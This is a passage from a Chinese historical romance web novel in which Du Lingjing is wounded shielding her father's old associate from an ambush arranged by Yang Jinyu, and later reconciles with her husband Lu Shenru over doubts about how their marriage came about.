杜泠静都快把这事忘了,但她非是为此事而来,眼下先匆促道谢,然后问了他。 “章先生可见廖先生了?廖先生离京从哪个城门出去了?” 不巧,廖栩走前还真就来章先生的书肆铺子,跟他道了别,道是这一走,回乡伺候老母,彻底归于田园,也不去保定教书了,往后还能不能再见旧友便不晓得。 廖先生怅然,在书肆吃了一盏茶,从外城右安门离了去。 杜泠静再不及逗留,只道改日专程来探望章先生,细问引她上京的八部宋本的事,这便往右安门追了出去。 她一边打听一边追,算着廖先生应该也没走太远。 只是路过一处茶摊的时候,阮恭上前问了一句,杜泠静听见茶摊上的人“咦”了一声。 “这可有意思了,走了个瘦巴巴的老先生,怎么那么多人追?一刻钟前,刚有人跟我打听完。” 这话说得阮恭愣了一愣,杜泠静挑眉看了过来。 阮恭立刻递了钱请那人多说两句。 那人笑道,方才追过去的人更多,“也有一辆马车,但马车上没牌子,不知是何人。但带了不少人手,瞧着皆似练家子,也追着那老先生去了。” 他往前指了方向,但杜泠静眼皮却急速抽跳了两下。 第50章 “快, 快!” 杜泠静通身都出了汗。 先生被迫无奈离去,忽然有人追在他身后出了京,急急匆匆、带着人手, 还能是谁? 那位杨大小姐已经不择手段了。 山林里。 “你们到底是何人?” 廖栩左边小腿正中一箭,他托着受伤的腿无法再正常前行, 甚至在山林间难以行走, 只能避在一颗树后,勉力开口喊话。 “我身上确实有些盘缠,你们若是想要,只管拿去!但还请留我一条命, 家中老母等我多年,此番离京只为还乡侍奉老母……” 然而他话还没说完, 又是一箭倏然射来,他急急一躲,那箭矢擦着他发梢射到了地上。 他已说要把身上的钱财都留下,对方还要射箭, 可见不是为了钱财。 他哼声笑起来, “看来我廖栩, 官场失意,教书不济, 这条贱命倒还有些作用。” 山林里又是一箭射来,只是这箭射偏, 钉在了他背后的树上,发出铮地一声颤鸣。 廖先生只觉无望了, 他腿上中间无处可逃,早晚要死在这些莫名的箭下。 谁料就在此时,林中忽然有脚步声传来。 “先生?先生!您在何处?!” “静娘?!”廖栩大惊。 山林里的脚步声立时靠近过来。 杜泠静带着人手在附近找寻, 听见这一句回应,循声急赶上前,一眼就看见了受伤避在树后的廖栩廖先生。 廖先生再无昔日圆润身形,他只剩下干瘦的身躯,又因多年不得志更添几分疲态,此刻有血从他裤脚咕咕留下来,落在枯叶上,他脸色青白。 杜泠静第一个发现了他,一眼看过去就倒吸了冷气。 她立时飞奔而去。 廖先生见她过来先是大喜过望,旋即意识到了什么,急急喊去。 “静娘别过来!” 可是晚了。 就在这一瞬之间,又一只冷箭从山林中破空而来,从另外一个角度,直奔廖栩脖颈。 致命的一箭,无有半分犹豫,刹那要取他性命。 有人喊着“静娘”,有人惊呼“夫人”,杜泠静却见那箭矢闪着冷光奔向树下无力躲闪的廖先生。 “先生……” 她脑中空了一瞬,却忽的向前扑了过去。 说时迟那时快,她只觉肩头骤然一痛,那一箭擦着她的肩膀射到了地上。 侯府的侍卫紧接着提剑赶来,树下立时被侍卫团团围了起来。 廖栩没事,却见径直将他扑在地上,救下他这一命的人,肩头的衣衫被利箭划破,血流不知。 “静娘!孩子……你怎样?!” 杜泠静咬了牙,忍下痛意跟他摇头。箭矢虽然划破了她的肩头,却也错开她与先生,射到了地上。 她说无妨,却见山林里铮铮又射出三箭来,虽然都被侍卫提剑挡下,但她亦开了口。 “世子夫人,事到如今,你还想害人是不可能了!不若撤回人手,此事还可重新计较。” 日头西落,山林被云影投下,暗了几分。 她看不清杨金瑜的人埋伏在何处,但目光缓缓从周遭扫过,见一时没再有箭矢射出,又道。 “世子夫人先是要离间我与侯爷,可惜我性子沉闷寡淡,没能让你如意,眼下又想趁着廖先生离京归乡,再制造意外,让拂党众人直接与侯爷离心。” 她问,“可世子夫人有没有想过,侯爷为拉拢拂党煞费苦心,你害了先生,让拂党众人与他不睦,他未必要舍了拂党,反而直接迁怒你,迁怒杨家?” 话音在山林里回荡起来。 隐在暗处的杨金瑜脸色沉沉,她冷哼,“我只让人害了他,然后装作流寇劫财,侯爷怎么会知道?” 她这话一出,杜泠静顾不得肩上的痛就笑了起来。 “世子夫人未免把侯爷想得太简单了。侯爷那等的心思,会猜不到是你吗?” 但她道眼下说这些也没用了,“侯府的侍卫在此,世子夫人趁早收手,或还不至于彻底将人惹怒,若再恣意妄为下去,您家二位弟弟更不可能保全。” “你……” 杨金瑜先见自己给她说出侯爷是为拂臣求旨赐婚,这么大的事,她沉默不语,心道是个成不了事的软性,不想今日冷箭破风,她竟然敢箭下救人,此刻受了伤,还能撑着与她利弊言明。 水是无声,但若要响亮起来,亦是哗然。 但杨金瑜忽的道,“那侯夫人就没想过,我若一意孤行呢?敢干脆将你与那先生一并射杀在这山林里。死无对证,你待如何?” 话音如冷箭刺破,杜泠静心下一沉。 杨家那两位小爷能杀人灭口,杨金瑜这位长姐也可真是不遑多让。 此时侯府的侍卫们皆握紧了手中的剑,越发将两人护在中间。 杨金瑜冷笑连连,“以我今日带来的人,只要我下令,你们有几成胜算?” 山林之间,鸟兽之声都散了去,日头被层云遮挡,林间越发昏暗。 可杨金瑜这声还没落定,有人冷厉沉声倏然自她身后响起,一字一顿。 “你敢?” 杨金瑜心口一颤,转身向后看去,只见山间背光立着一人,此刻眼神睥睨向下落在她身上。 杜泠静亦抬头看到了上面的人,枯枝在他交叠着身后遮天蔽日,他背光而立,只是在看到她的一瞬,尤其目光落在她肩头的伤处,眸色似是沉到了谷底。 到了这等时候,杨金瑜反倒是笑了。 “陆侯当我缘何要做到此处,不过就是为了救我两个弟弟罢了。可你见都不肯见我,就任由我杨家陷在苦痛之中。侯爷可知我母亲眼睛都快哭瞎了,她可是听了你的话,主动把那二人送去了衙门。然后呢?怎么没能等到侯爷把人救出来,反而撂开手去不管了?” 她质问陆慎如,“若是陆氏二房尚在,你可会如此对待我们杨家?” 她厉声问他。 “二表弟是为了你而死,他死了,你就可以为了这些拂党外人,将他外家荣昌伯府,统统推到火坑里,是吗?” 山中莫名一静,杜泠静怔了怔。 她从未听他提及过,原来陆家二房的二爷,他的二弟,竟是为他而死。 远处有大鸟刺啦叫了一声,于寂静中有些刺耳。 陆慎如沉默了一瞬。 杜泠静看到他眸中有痛色沉在半垂的眼帘之后。 她听见他嗓音越发低哑。 “是,当年二弟是挡在我面前,被人一箭射穿喉管……他替我中箭,替我身死……” 话音在山林中不住回荡,但下一息他突然看住了杨金瑜。 “但这与你杨家姐弟多行不义,有什么关系?!” 他只问杨金瑜,“如果当年死的人是我,活下来,继承永定侯位置的是二弟,你觉得他会包庇你们一味行凶吗?” 他说着,目光扫过肩头中箭受了伤的人。 他缓缓闭了眼睛,“若不看在二弟的面子上,你今日也得死在这儿。” 话音道出的瞬间,杀意直射得杨金瑜心头颤了一颤。 只是陆慎如确实不想杀她。 “杨大小姐,你听好了。你那两个畜牲兄弟,就算皇上判他二人千刀万剐,陆某也绝不会去皇上面前说一句情。此事同我再不相干,你也好自为之吧。” 他当着杨金瑜的面,将这话彻底说明白了。 杨金瑜脚下一晃,险些倒下。 没了亲兄弟的她,要如何在卫国公府过活? “陆慎如,你这是要与杨氏恩断义绝?!” 可男人却笑了起来,“你们姐弟三人,可不是整个杨氏。” 他会力挺庶子袭爵,杨家血脉之后可就不一样了。 杨金瑜浑身发颤,可杨家的侍卫却着急上前,示意她不要再同侯爷对着来,快些离去。若再继续下去,侯爷真翻了脸,谁都保不住。 侍卫劝她快走,只是临走之际,男人又开了口。 “方才谁人放了箭,留下来!” 杨金瑜吸气,只能将放过冷箭的几人扔了出来,崇平立时遣人,将这几人通通带了下去。 山中又现几声刺啦的鸟鸣,杨家侍卫劝着杨大小姐速速离去后,林中再无旁人。 廖先生腿上中箭站不起来,杜泠静肩头亦血流不止。 男人几乎是大步飞到了她身前。 “泉泉……我来迟了!” 但杜泠静跟他摇了摇头,他一点都没来迟,若他不来,他们今日未必能全身而退,杨大小姐的人手确实不少。 且他如此忙碌,怎么还能得闲前来?是为廖先生? 廖先生确实重要,是父亲身死之后,拂党众臣最为敬重的几位先生之一。 好在先生只是腿上中箭,没有伤及性命。 可先生和这位侯爷之间的心结,总是得解开,才能让拂党其他人,能更多为他所用。 她见他立时将崇平叫来给她包扎,她道不急,“我只是皮肉伤,不若平侍卫先看看先生……我有话想跟侯爷说。” 她说着,示意他往另一边去。 陆慎如见她不急着治伤,却要跟他先说话,不知她能有什么事这么重要。 但又想到她等了她三个时辰…… “你说!” 他口气有些凶,杜泠静不知谁人又惹了他,但借着这个时机,先生也刚好在,把话都说明白比较好。 她轻声,“侯爷如此看重拂党,实是拂党众人之幸。只是他们从前聚在一起,追随父亲,皆是因为志向相投,如今多载已过,父亲过世,新政流离,他们宁肯被朝堂排挤散在各处,也不愿随意改志。” 她不由看了他一眼,“我已晓得侯爷娶我,是为收拢拂臣。但他们各有志向,若是强求恐怕适得其反。” 她想到他婚后对她都耐心十足,道,“侯爷不若也多给他们一些耐心,能用之人自会留在侯爷身侧,若实在无法用,侯爷让他们走就是了。” 她把话终是都跟他说明白了,这是她自己的想法,希望他能听进些许。 只是她说完,男人低压这眉眼向她看来。 陆慎如看向自己的娘子。 就这几句话,她在外厅等了他三个时辰? 她是真的以为,他是为了拂党,才娶她做桥。 他简直要气笑起来,狠狠盯着她。 “谁跟你说的?” 她一时没回,他自问自答。 “哦,杨金瑜。” 他旋即又问,“她还说什么了?” 山林里的风吹得地上枯叶打旋飞了起来。 杜泠静不明白他为何没听她方才劝言,反而只纠结于此。 那她也干脆跟他说明白好了。 她抬眼问了他。 “中秋圣旨赐婚,其实不是皇上的意思,是侯爷求来的,对吧?” 她看住了他的眼睛。 她的目光很平静,犹如山中西落的斜阳,就这么静静地看着他。 陆慎如静默了一息。 只是以为他娶她是为拂党,步步为营地在皇上面前求娶,她就把自己利落地放到了外人的位置上,在外厅里同那些真正的外人一道,可以为几句话,等了他三个时辰,不让管事跟他提早支会一声。 她眼睛里,可真是揉不得一点沙子。 若让她知道他为了谋娶她做的“算计”,远在中秋之前,她又当如何? 男人只定定看着她,未动分毫,嗓音越发沉下来。 “杨金瑜胡言乱语你信?我说只是因为圣意如此,你我二人才结为夫妻,你怎么不信?” 他反问了过来。 杜泠静一愣。 他说不是他求旨? 但男人却愈发恼怒起来。 “还有拂党这些人。是,我是想用他们。但我陆慎如,还不至于没人用到强迫旁人的程度!” 山风吹过肩头,杜泠静伤处暗暗疼一下。 他说不是他求旨,他娶她也不是为了拂党,至于拂党众人,他也不是非用不可…… 风吹得脚下枯叶混乱而飞,杜泠静思绪也乱了一乱。 她抬头向他看去,他亦低头紧压向她看来。 两人一时都抿唇没开口,还是崇平上前,“属下先给夫人处理伤处。” 杜泠静并未被箭矢射穿,但那箭极快,也将她肩头皮肉狠狠重划了一道。 崇平不好给她细细处理,只能暂时在外面伤了止血的药。 药粉煞得她身形轻颤,男人没再跟她置气,径直揽了她在怀里,“崇平快些!” 崇平手下加速,不多时给她包扎了起来。 日头西斜,山里冷气四溢,他怀中却一贯的温热,甚至有些发烫。 杜泠静跟他说得话都被他否掉了,眼下她还能跟他说什么,她也不知道了。 她悄悄抬头瞧他,男人眸色沉沉,英武冷峻的脸上尽是不快。 不想这时,又有人从附近的山路上寻了过来。 竟是扈廷澜与在京的其他拂党众人。 廖先生离京回乡,只告诉了个别相交紧密之人,可众人听闻他要走,竟都追出城来送行。 可他们到了附近,就察觉了不对之处,再见廖先生和杜泠静全都受了伤,皆大吃一惊。 “这是出了什么事?”众人连忙问。 廖先生简言了几句。 但杜泠静却看了看身边的男人。 虽然廖先生没出大事,但遇上了这等情况,说到底不利于他与拂党众人进一步交心。 说到底,他还是希望拂党众人能为他所用的。 她不禁道,“我去跟他们说,此事与你无关,纯是那杨大小姐失了理智。” 她说完抬脚就要上前,不想他却止了她。 他对她没什么好气,却两步走到了众人身前。 “各位,今日之事说起来,全因陆某与各位未曾坦诚交心。” 他说自己确实希望众人为他所用,重返朝堂,能助慧王入主东宫,他日高登大宝。 “但诸位若有一心倾许雍王的,陆某也不会强令诸位改志。” 他道自己当然不可能为对家力捧肱骨,“但若只想在朝堂里安安稳稳做官,为国为民,哪怕不为了慧王殿下,陆某也会尽力举荐。” 他道,“就当是我从前行事多有不妥,以此给诸位赔礼道歉了。” 陆慎如说着,特特看向廖先生。 之前廖先生心灰意冷辞官教书,便是因为他排除异己的责打。 此刻他道,“陆某一言既出,决不食言。诸位若想留在朝堂为官,只需往侯府递上信函,而诸位领职离去,大可与我永定侯府再不往来!” 他干脆利落地一口气将话,与众拂党之人说了明白。 众人都晓得他需要用人,但还能说出这等话来,也是万万没能想到。 杜泠静也愣住了,大吃一惊。 他这真就要放拂党众人任意去留? 他没看她,只同廖先生道,“陆某实在没想到,会令先生难为到离京返乡。只是我其实为先生谋了一职。” 他说是江西提刑按察使,数月后会空出一缺。 江西距离京城遥远,而提刑按察使专司一省刑名。 “想来以先生之能,此职不在话下。” 待廖先生在江西任上六年,兴许京中雍王与慧王胜负已分,他再回京为新君尽力,完全不迟。 廖栩再没想到他已为自己谋好了位置,更没有任何强迫他改志之意。 “侯爷胸襟,远胜我等。” 众人不禁都点头附和。 “没想到侯爷真为我等费心了。” 他说是也不是,“当然诸位如果愿意助慧王殿下与陆某一臂之力,永定侯府,府门大开!” 他说着转头向一旁受伤的人看去。 “但我非是为了要用诸位才娶她过门,这等因果倒置之事,我是想不出来。” 后面这话,是彻彻底底说给她听得了。 杜泠静抿了唇。 他眸色越发严厉,却道受了伤的人不能等,“还是尽快回京处理伤势的好!” 廖先生的伤势比杜泠静还要重,自是不能等。 众人连声道好。 杜泠静抬头向他看去,想跟他说句什么,他径直上前抱了她,让崇平驾车直奔京城。 他一点好气都没有,一路上也不跟她说话。 不过回了侯府却没送她回正院,反而抱着她径直进来他的书房。 杜泠静还没来过他的书房,毕竟此间严格把手,闲杂人等皆不许入。 他直接将她带到了书房里面。 这次没用崇平,她说让秋霖来,他也不许,他亲自将她剥了,给她把伤势重新处理了一遍。 他似很擅长料理伤口,杜泠静想到他身上深深浅浅的旧伤。 但他又不说话了,脸冷着,唇下紧抿成一条线。 “侯爷……生气了?”她不得不先开口。 他哼了一声,瞥了他,“夫人觉得呢?” 杜泠静倒也不避讳,“侯爷是嫌我,没信你的话,又疑心了你?” 她实在是一直都没想明白,自己为何突然来京又嫁了人。 若嫁的不好也就算了,偏他待她极好,好到她总觉得他所谓一见钟心,难以解释。 她轻声,“是中秋圣旨赐婚,对我来说太意外了些。” 她坦然。 烛光轻摇。 男人看去她眼睛,火光亦轻轻摇动在她如水的眼眸里。 他忽的问了一句,“如果那圣旨,真是我求来的呢?” 他声音不重,缓缓地飘在半空里。 但陆慎如却见他这假设的话刚说出口,他的娘子眼眸便睁大开来,火光在她眼眸里轻摇变成了晃动,她眸中似有两分惊怕之意。 惊怕…… 男人垂眸笑了起来。 她可真是容不得他说真话。 不过那些沉在勉楼里的旧事,翻过去就过去了,他根本也不想去想,更不想再提。 就当从前那些事都不存在,他与她的姻缘,就真是圣旨赐婚,从这里重新开始,不可以么? 他轻哼,重新跟她说了一遍。 “你我的姻缘确实只是圣意如此,我未曾求过。娘子还有疑虑,不肯信我的话,改日大可以去问皇上和兖王。”【你现在阅读的是 】 50-60 第51章 “你我的姻缘确实只是圣意如此, 我未曾求过。娘子还有疑虑,不肯信我的话,改日大可以去问皇上和兖王。” 这句笃定的话, 一字不错地落在了杜泠静耳朵里。 杜泠静看向男人的眼睛,没看到任何犹豫, 反而见他不悦之色平添, 瞥着她。 杜泠静只能道,“侯爷都够忙了,别说皇上了。” 她不可能去问皇上这等事,至于兖王, 她更是完全不认识,谈不上询问。 提起忙碌, 陆慎如想起了另一桩事。 他直接让人把外厅的管事叫了过来。 人似乎早就在外候着了,此刻外厅主理的大管事,带着早间的小管事快步到了门前。 大管事今日有事出了门,让徒弟小管事顶着, 料想还能出什么事。谁知这小子, 竟然敢让夫人在厅里等了侯爷三个时辰。 就算是夫人自己愿意的, 侯爷还不愿意呢! 大管事叫苦不迭。 师徒二人到了门前,齐齐扑通跪了下来, 砰砰磕头不止,小管事发抖不已, 大管事则苦道。 “怠慢了夫人,实是小人之过!请侯爷、夫人重重责罚!” 男人立在廊下石阶之上, 通身威魄压得人喘不过气。他只目光扫过二人,二人皆死死叩头不敢抬起。 男人沉声,“各自去领三十大板, 崇平着人去打。” 崇平立时领命。 杜泠静吓了一大跳。 崇平等人皆是军中出身的侯府侍卫,这两个管事只是普通仆从,怎惊得他们打上三十大板,人必是要废了。 她匆促上前。 管事不敢辩解,她却不能让人替她受过。 “侯爷莫要责打,是我让管事不必禀报的。” 谁知她这话说完,他嗓音越加冷硬。 “打五十!” 五十大板,这么冷的天,人必不能活了。 崇平领下命来,抬手就招人前来,要把这师徒二人拖下去。 “侯爷!” 杜泠静急着叫了他,他不应,上前拉了他的衣袖,他顿了一下,又脱开了去,转身就要走。 怎么会有人脾气这么大?一点情面都不留,像块磐石一样。 她一步跟在他身后,“陆惟石!” 男人大步欲离开的身形终于停了下来。 风从廊下悄然溜走。 她叫了他表字……连字带姓地,有种说不清的特殊意味。 陆慎如立着没动,耳边不住回荡着她口中这三个字,“陆惟石”,但也忍着没转身看她。 他已行至回廊转角处,方才那两人已崇平着人拉去了门前,一时间只有檐铃在风里轻摇,时不时发出一声脆响。 杜泠静也不知自己怎么突然叫了他表字,但他总算是停下来了。 她跟上前来,“此事是我不对,缘何打旁人板子?” 她知道他气在什么地方,“下次我来寻你,立时就让管事给你通禀就是,别打他们了,行吗?” 她还真是明白,陆慎如瞥了她一眼,但她又没完全闹清。 “没说对。”他沉声,低头看去她的眼睛。 杜泠静不知自己还能怎么更正,男人见她脸上的迷惑,料想让她自己想是不能成了。 但他也没再告诉怎样才是对的,只往那两个被拉出去的师徒管事处看了一眼。 “发出去吧。” 他终于松了口,两位管事劫后余生,大汗淋漓地叩头道谢,又跟杜泠静道谢。杜泠静实不敢受,他们不过是因她受罚而已。 但她这会若不受下,某人说不定又要发火。 她连忙摆手让他们快快去了。 两人逃过一劫。外院书房前一时没了动静。 外院书房是一整个院落,唤作远岫阁,院落阔大,里面既有他的书房,也有他偶尔回家晚了,宿在外院的卧房,还两间大小不同的会客小厅,还连同着平日里侯府幕僚们议事的地方。 远岫阁里里外外都有侍卫把手,等闲人进不来,杜泠静也是第一次进到里面。 此刻他不说话,远岫阁里便如被冰冻起来一样,一点响动都没有。 还是崇平又从外面走了回来,上前禀报道是锦衣卫指挥使魏玦,从福建回京来了,派了人来同侯爷道贺新婚。 男人听是魏玦派来的人,便叫了人往一侧的厅里叙话。 他转身就要进到那小厅里。 杜泠静却不知要往何处去了,思量着要不先回正院,脚步刚往院门前去,他一回头就看住了她,将她脚步定在远处。 杜泠静有点知道他是什么意思,只能退回脚步,退回到他远岫阁的卧房中。 他叫了魏玦派来的人说话的小厅,就紧邻着他的卧房。 杜泠静刚坐下来,就隐约听见隔壁的话语声传来。 那位魏指挥使,杜泠静其实与他相识。 彼时还是她随父亲在京中的那几年。先帝的孝容皇后,时常招她进宫伴驾,而魏玦则是皇亲国戚,她和裕王殿下遗留下来的年嘉郡主,以及魏玦,颇为在宫里见过几次。 后来皇上继位,魏玦父亲成了国舅封了信云伯,母亲则特封保国夫人,他与信云伯父子二人皆入锦衣卫,之后信云伯过世,他承袭爵位,未几载,皇上亦提了他坐上了锦衣卫指挥使的位置。 而保国夫人则是永定侯陆氏出身,虽不是陆怀如陆慎如姐弟的亲姑母,却也同宗同枝,因而两家相交紧密,陆侯与魏指挥使也算的一双表兄弟。 原先京中许多人猜测这位侯爷多年不曾成婚,是在等国舅爷家的小千金,也就是魏玦的小妹及笄,但圣旨下来,他却娶了她过门。 这会魏指挥使派人给他送了贺礼,他收了,完全不避讳地问起魏家的情形,又问了魏玦此程往福建办差近一年的状况。 这些话都传到了他的卧房里。 他是故意都说给她听得,就如同他让她留在远岫阁里一样,告诉她,他的一切她都可以翻看。 她还有什么疑他? 杜泠静暗叹。 照着他不讲出口的意思,先在窗边听他同魏玦派来的人说了一阵,然后缓缓打量起他在外院的卧房。 这里的一切都是他的东西。 他似是偏爱些檀墨色的木料,房中黑沉冷肃,也利落简洁,又不失矜贵之气,同她自己的书房,父亲和三郎的书房,尤其是三郎的,完全不一样。 这是武将权臣的书房,是他陆惟石的地方,甚至连每一丝空气都只有他一个人的气息。 杜泠静在其间慢行了起来,手边是他的书案,上面叠着一沓宫里发下来的奏折,他似乎总会看得不耐烦,旁边放着一只方缸,里面还有他不耐丢掉的。 零零散散,杜泠静用一只还能动的手臂,替他简单整理了一下。 他书案上的茶盏是用墨玉大成了极薄的模样,亦是方的,上面似是雕了淙淙山间清泉。 杜泠静微愣了一下,转眼却看到他书案上,正放着一张废纸。 上面列了好几个官职,皆是朝中要职,但一个个全都划掉了,唯独留下江西按察使这一职,他用墨在旁点了两点。 他的字凌厉又不失沉稳,如山石开辟,傲立山巅。 杜泠静默然看着,忆起下晌在京外,他用廖先生提及的江西按察使这一位置。 看来他果真不是信口一说,是真的在此之前就思量好了,全无强迫先生改志之意,可见对于拂党众臣,真是去留任意。 若他早早就是为了拂党而来,以他的心性怎会轻易任他们去留? 杜泠静立在他书案前多看了几眼,用镇纸替他压了那纸,转身走到他的卧房一侧。 相比他同她在正院里的床榻,此间只铺了薄薄一层被褥。 杜泠静微微有些惊讶,若他习惯了睡这么薄的硬床,平日里与她在正院又怎么铺了如此厚实的被褥? 她立身歪着头看着,隐隐有点明白,床榻间属于他的气息更重了,她脑海中一些夜间情形,连忙从他的床边离开了去。 她略一转身,被眼前的事物引住了目光。 他的床边竟悬着五把刀剑,高高地挂在檀木剑架上。 她一柄一柄地看过去,那檀木架上或刀或剑,一柄比一柄重,一把比一把长。 每把刀剑都有残缺,可见非是摆设,是上阵杀敌时切实用过的,隐约间,还有沙场上的血气散出。 她不禁抬手摸了摸那些刀鞘剑鞘,四柄都极其沉重,但还有一柄悬在侧边的,似是略轻一些。 那是一把泛着银光的剑,跟其他几把都不太一样,剑鞘纹路更显轻盈。 她看过去,恰好崇平进来奉茶,见她立在这柄银剑前打量,道了一句。 “其他四柄都是侯爷的,但这把剑,”他微顿,“是二爷的。” 陆氏二爷,陆恒如。 二爷陆恒如的外家便是荣昌伯府杨氏。杜泠静不禁想起了下晌,杨金瑜质问陆慎如的言语。 她不由问了崇平,“二爷……是为侯爷挡箭而死?” 崇平放下茶盘,跟她点了点头。 那是许多年前的事了。 侯府怀疑有鞑子渗透在朝堂百官当中,弘启十四年陆氏率永定军出关对战鞑靼,却因文官联合起来要投降讲和,而延误战机,令陆氏遭遇血海重创,可能与此关系莫大。老侯爷便令侯爷前去调查。 就是那年,侯爷刚查到些许头绪,突然有身份不明的人出现,直奔侯爷而来,竟要直下杀手。侯爷不曾防备,受了重伤,若非身手不凡,彼时就已命丧半途…… 他念及此看了夫人一眼。 侯府机密,不好多言,他只道,侯爷在查探鞑子消息时受了伤,侯爷的祖父老侯爷放心不下,让二爷带人支援。 “二爷机敏,在途中也发现了些蛛丝马迹。只是待他同侯爷过去查探,却遭遇了突击。彼时冷箭直逼,侯爷受伤躲闪不及,是二爷跃身上前,替兄长挡下这一箭。” 旧事历历在目,崇平低叹。 “二爷是被人射穿喉管而死,侯爷在他死后,七天七夜都没能说出话来。” 不知是因为颈间也受了伤,或是因为二爷身死,之后再开口,嗓音变了,只剩如今的低哑。 之后线索断了,老侯爷亦因二爷之死遭遇重创,病情加重,但却令侯爷不许再查下去。 这一晃,多年已过。 但侯爷床边,还留着二爷惯用的那柄银雪剑。 崇平简单说了几句陆慎如与陆恒如兄弟的旧事。 杜泠静听到他说是查探鞑子之事,不禁问了句,“是在关外吗?如此凶险……” 不是关外,而是在山东…… 崇平不由又悄然看了看夫人。 那年侯爷堪堪脱身,身后那伙人竟追杀不止,他们无奈之际潜入青州,又躲进了勉楼里。 此事瞒不过杜阁老,但杜阁老将他悄悄收留在了勉楼的隔层中,隐姓埋名地养伤。 关于勉楼的旧事,侯爷是怎么去的,经历了什么,最后又是在何等情形下离去,他自是一桩桩一件件都看在眼里。 但侯爷绝口不欲再提,他当然无法多说。 恰这时,男人从外面走了进来。 崇平见状,行礼退了下去。 他的房中,瞬间只剩下她与他两人。 杜泠静不由向他脖颈看去,他颈间是有一道不浅的疤痕。 如果每一道疤都代表这一段刻骨铭心的过往,那么他通身那么多疤痕,得经过多少事,才能练就出如今的铜筋铁骨? 过去的事,他很少提及,他总在筹谋之后,但谁人又能真的忘掉过去? 不过这回他脸色还是不怎么样,只是目光亦扫到了她身侧的银剑上。 陆慎如的目光定在了二弟的剑身上。 传闻总说领兵打仗的人,惯用的刀剑枪戟,有主人作战时流血凝成的灵魄。 他把恒弟的剑放在床头,料想若剑中有灵,或可引恒如到他梦中来。 但那小子,竟从未来过他梦里。 一次都没有…… 只是眼下,他看向银剑,又看向一旁立着的受了伤的人。 忽的想起了一桩旧事。 那年夏日太热,勉楼的隔层更闷,他伤势愈合得慢,杜阁老哪里见过武人受得这些伤,唯恐他出事,不知从何处给他买了两盒治伤的药粉来。 此药必须贮藏在香樟木做成的药盒子里,每次用要以特殊手法取得些许,以免药效失散。 但杜阁老被前来寻他的读书人托住了脚步,便将此药的用法托给女儿,让她带到隔层外。 彼时她在隔层外问他,“这种香樟木匣里的特质伤药,公子用过吗?” 彼时二弟也在,一看这种药就一脸了然。他们行伍人家,什么样的伤药没见过。 只是二弟顽皮的很,模仿着他的嗓音突然替他道了一句,“没见过。” 他一眼瞥过去,却听她道,“那……我方不方便进来,给公子演示一下?” 她要进来,他缘何推拒? 他轻“嗯”了一声。 他一应声,二弟就瞧着他偷笑了起来。他脸有些发热,却稳坐着没动。 她很快进到了隔层里。 他身份隐秘,除了杜阁老以外无人知晓。 她不敢看他,且他身影隐在黑影里,她也看不见。 她只低着头把香樟木匣的药如何使用,跟他细细说了一遍。 他会用,目光只落在她脸上。 隔间里唯一的一缕日光照在她手边,也照在她长而翘的羽睫上。 她只来过他的隔层里两次,第一次是她捉耗子,误打误撞闯了进来,发现里面有人,大惊失色地跑出去找她父亲。 第二次,便是这一次。 他一时没听清她何时演示完了用药之法,见他不曾回应,也不敢多问,转身就要走。 谁料这时,她突然被什么绊倒,一下向侧边倒了过去。 他一惊,抬手扶在了她的腰间。 她则慌乱之下,一把按在了他手臂的伤口上。 他暗吸一气,她没听见,二弟却察觉了。 “那处有伤!” 二弟一开口,她更吓了一大跳,手慌乱地不知往哪里放。 “公子你还好吧?” “没事,”他见她站不稳,不禁问,“可曾崴了脚?” 她连忙摇摇头。 隔层太黑,他瞧不清她的面色,只能柔声同她道,“那你慢慢站稳,不急。” 但她很快站稳了身形,却也没有多留。 “抱歉。”她连道,放下药就匆促离了去。 她似是颇为尴尬,之后一连六日都没来勉楼。 但彼时,他只瞧着她离去的黄色裙摆,在那唯一的一缕日光里,如同夏日里的黄色蝴蝶,轻轻沾落花间,就略略一惊,就扑着翅膀飞走。 他一直看着她离去处,二弟道,“哥你伤处都流血了,你不觉得疼吗?” 他说还好,但看了一眼地上绊倒她的东西,正是二弟的银雪剑。 他哼了一声,“下次再乱放,就丢进炉子里熔了。” “使不得啊!”二弟急得转过头来问崇平,“杜家父女给我大哥送来的,不会是迷魂药吧?” 这话一出,崇平忍不住笑了一声。 他笑斥他,“你再胡说?” 但二弟却道,“看大哥你这样,她把你手臂伤口都弄出血了,你还不觉疼,若是将她娶回侯府,还不得天天受她的气?还有夫纲?” 那时,他只将二弟一脚揣出了勉楼。 可八年已过,二弟彼时信口一言竟真应了验。 他望向剑架旁的人—— 他可不就是天天受她的气吗? 早知他娶她回家,是让他每日受气的,他就…… 陆慎如不言。 他们成婚数月了,她到现在还疑他。 男人眸色沉了下来,看向剑架上的银雪剑,又看向剑旁边的人。 房中静静的,听不到声音,可有人却从剑架旁,看着他,轻步走上前来。 她低声开口,再次叫了他的表字。 “惟石,”她轻声,“对不起。” 她情绪似有些低,眸光颤着,看着他。 她抬手,他以为她要拉他的衣袖,但她却忽然握住了他的手。 男人一怔,听见她道。 “我再不疑你了。” …… 外城红螺寺。 今日寺庙里有些杂乱之声,蒋枫川刚做完一篇文章,低头吹了吹墨迹,待墨迹干掉,将文章卷起来收好的时候,朴嬷嬷快步到了他房门前。 朴嬷嬷见了他便笑道。 “六爷可得闲?兖王殿下今日住进了红螺寺,问您可有空闲,若是得闲,请您过去一叙。” 蒋枫川也笑了起来。 “既然殿下有请,六郎再忙,也总能抽出时辰来。” 他言罢起身换了衣裳,接着想起什么,让惠叔将他刚写好的文章取来,“只盼殿下不弃,愿意指点一二。” 兖王殿下有弱症提不起笔,却最爱文人墨客的文章。 朴嬷嬷连道好,“六爷快去吧,殿下见了您的文章,必然喜爱不已。” 第52章 杜泠静昨日险些被吃了, 幸而胳膊上受了伤,他到底没敢乱来,她才逃过一劫。 只是她要离开外院他的远岫阁, 回到正院去,谁想刚有要走的意思, 崇平就上了前来。 “夫人就留在远岫阁养伤吧?” 杜泠静微讶, “回正院养伤不一样吗?” 崇平跟她笑了笑,“是侯爷吩咐的。” 杜泠静明白了过来。 她想起昨日他发火要打那师徒管事板子的时候,她说她以后再来,直接让管事通报, 他说不对,彼时也没告诉她如何才是对。 这下她知道了, 就直接进就对了,根本不必通报。 而他显然还在因此跟她生些暗气。 又不肯直说,却非要她自己想明白。 “……” 他如此也不是一次了,杜泠静实在对他硬石头般的性子无话可说, 只能又折返了回去。 不过他不出门的时候, 大多都在远岫阁理事, 她留在他的地盘上,他不时就从书房回来瞧她两眼, 同她说两句话,吃几块糕点, 她见他眉目悦然,还跟她道, “我看府邸太大也没什么好处,不若泉泉日后就搬到远岫阁来。” 但远岫阁总有幕僚与宾客,她到底是侯夫人, 住在外院和这些人低头不见抬头见,终究是不便。 